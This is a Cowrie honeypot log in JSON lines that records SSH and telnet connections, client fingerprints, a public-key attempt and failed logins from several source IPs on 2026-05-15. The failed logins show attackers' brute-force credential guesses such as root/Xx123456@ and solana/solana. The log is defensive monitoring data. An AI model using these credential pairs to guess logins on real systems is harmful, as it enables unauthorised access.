{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":55908,"dst_ip":"10.17.0.5","dst_port":23,"session":"01c8fd86974a","protocol":"telnet","message":"New connection: 50.6.8.71:55908 (10.17.0.5:23) [session: 01c8fd86974a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:42:47.322596Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":52782,"dst_ip":"10.17.0.5","dst_port":23,"session":"bcce76c4f8b0","protocol":"telnet","message":"New connection: 50.6.8.71:52782 (10.17.0.5:23) [session: bcce76c4f8b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:43:00.444391Z"}
{"eventid":"cowrie.session.closed","duration":31.22676134109497,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:43:03.629673Z","src_ip":"50.6.8.71","session":"2279f49e4351","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":38600,"dst_ip":"159.203.135.109","dst_port":22,"session":"189d5a8f8961","protocol":"ssh","message":"New connection: 87.106.29.151:38600 (159.203.135.109:22) [session: 189d5a8f8961]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:43:16.207613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:43:16.213036Z","src_ip":"87.106.29.151","session":"189d5a8f8961","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:43:16.314396Z","src_ip":"87.106.29.151","session":"189d5a8f8961","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dani","password":"dani","message":"login attempt [dani/dani] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:43:16.735735Z","src_ip":"87.106.29.151","session":"189d5a8f8961","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:43:17.836257Z","src_ip":"87.106.29.151","session":"189d5a8f8961","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.187243700027466,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:43:24.509742Z","src_ip":"50.6.8.71","session":"01c8fd86974a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81389307975769,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:43:31.258124Z","src_ip":"50.6.8.71","session":"bcce76c4f8b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":37010,"dst_ip":"159.203.135.109","dst_port":22,"session":"094364d6b768","protocol":"ssh","message":"New connection: 87.106.29.151:37010 (159.203.135.109:22) [session: 094364d6b768]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:44:20.123869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:44:20.129433Z","src_ip":"87.106.29.151","session":"094364d6b768","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:44:20.221792Z","src_ip":"87.106.29.151","session":"094364d6b768","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Push@8240","message":"login attempt [root/Push@8240] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:44:20.622744Z","src_ip":"87.106.29.151","session":"094364d6b768","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:44:21.718073Z","src_ip":"87.106.29.151","session":"094364d6b768","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":51082,"dst_ip":"10.17.0.5","dst_port":22,"session":"15bbfea83639","protocol":"ssh","message":"New connection: 2.57.122.238:51082 (10.17.0.5:22) [session: 15bbfea83639]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:44:33.297489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:44:33.304974Z","src_ip":"2.57.122.238","session":"15bbfea83639","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:44:33.398821Z","src_ip":"2.57.122.238","session":"15bbfea83639","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethereum","password":"ethereum","message":"login attempt [ethereum/ethereum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:44:33.682724Z","src_ip":"2.57.122.238","session":"15bbfea83639","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:44:34.780209Z","src_ip":"2.57.122.238","session":"15bbfea83639","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":52180,"dst_ip":"10.17.0.5","dst_port":23,"session":"af2e02047407","protocol":"telnet","message":"New connection: 50.6.8.71:52180 (10.17.0.5:23) [session: af2e02047407]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:44:36.233786Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":52194,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e8a03e2dd1e","protocol":"telnet","message":"New connection: 50.6.8.71:52194 (10.17.0.5:23) [session: 1e8a03e2dd1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:44:42.397761Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.154.140.167","src_port":36168,"dst_ip":"159.203.135.109","dst_port":23,"session":"9191c53fc3b3","protocol":"telnet","message":"New connection: 85.154.140.167:36168 (159.203.135.109:23) [session: 9191c53fc3b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:45:01.276258Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":48632,"dst_ip":"159.203.135.109","dst_port":22,"session":"2fa9a2ea8356","protocol":"ssh","message":"New connection: 80.94.92.184:48632 (159.203.135.109:22) [session: 2fa9a2ea8356]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:45:03.811014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:45:04.037255Z","src_ip":"80.94.92.184","session":"2fa9a2ea8356","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:45:04.041598Z","src_ip":"80.94.92.184","session":"2fa9a2ea8356","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:45:05.268805Z","src_ip":"80.94.92.184","session":"2fa9a2ea8356","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:45:06.736814Z","src_ip":"80.94.92.184","session":"2fa9a2ea8356","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.743152379989624,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:45:09.976843Z","src_ip":"50.6.8.71","session":"af2e02047407","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.250701189041138,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:45:14.526783Z","src_ip":"85.154.140.167","session":"9191c53fc3b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":36514,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8784e36f003","protocol":"ssh","message":"New connection: 103.149.170.125:36514 (10.17.0.5:22) [session: b8784e36f003]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:45:20.268038Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:45:20.273620Z","src_ip":"103.149.170.125","session":"b8784e36f003","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:45:20.523741Z","src_ip":"103.149.170.125","session":"b8784e36f003","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.82602071762085,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:45:21.223689Z","src_ip":"50.6.8.71","session":"1e8a03e2dd1e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"vadim","message":"login attempt [root/vadim] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:45:21.276529Z","src_ip":"103.149.170.125","session":"b8784e36f003","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:45:22.529999Z","src_ip":"103.149.170.125","session":"b8784e36f003","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":43532,"dst_ip":"159.203.135.109","dst_port":22,"session":"d830d5f94194","protocol":"ssh","message":"New connection: 87.106.29.151:43532 (159.203.135.109:22) [session: d830d5f94194]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:45:26.048498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:45:26.053771Z","src_ip":"87.106.29.151","session":"d830d5f94194","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:45:26.151561Z","src_ip":"87.106.29.151","session":"d830d5f94194","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Xx123456@","message":"login attempt [root/Xx123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:45:26.597817Z","src_ip":"87.106.29.151","session":"d830d5f94194","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:45:27.698137Z","src_ip":"87.106.29.151","session":"d830d5f94194","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.111.67.246","src_port":34058,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4ca3e7c0aa9","protocol":"ssh","message":"New connection: 78.111.67.246:34058 (10.17.0.5:22) [session: b4ca3e7c0aa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:45:30.548935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:45:30.553673Z","src_ip":"78.111.67.246","session":"b4ca3e7c0aa9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:45:30.645228Z","src_ip":"78.111.67.246","session":"b4ca3e7c0aa9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"05:39:16:1f:e8:6b:38:72:0b:1f:20:12:cd:11:3d:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCMOhV7nA3Ff4aH+UYP2NGef9bImgHnCrkhFn7hIoLYyn9aj3sIJ8+0xW5+jBtXZ0vs0vO39D/Z1ttsehsDrN4dIKrlK8YmbfQkF4qhfadH2RsEitFSLwPAiF0203uHoGZ0EZWlVsAH7oDmh8adEvBx73wASEuM3yjcIrNmAMeEG7KEYevlSkRlcgrj1cHo80pT64Tfx7YT7wRksG0FcE/dfcWo6V80RnRAan9aXGMGOJ3nU12PkqC9f5QKu/vyeeteKPEQqcAg6afz+kU6H/ZrCKOOuOQ0HZBhuIaourSARdoe59kwpMTYSerNBDe9l6N4VV9bmFwNbYOV/JXEmXNr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 05:39:16:1f:e8:6b:38:72:0b:1f:20:12:cd:11:3d:60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:45:31.080901Z","src_ip":"78.111.67.246","session":"b4ca3e7c0aa9","protocol":"ssh"}
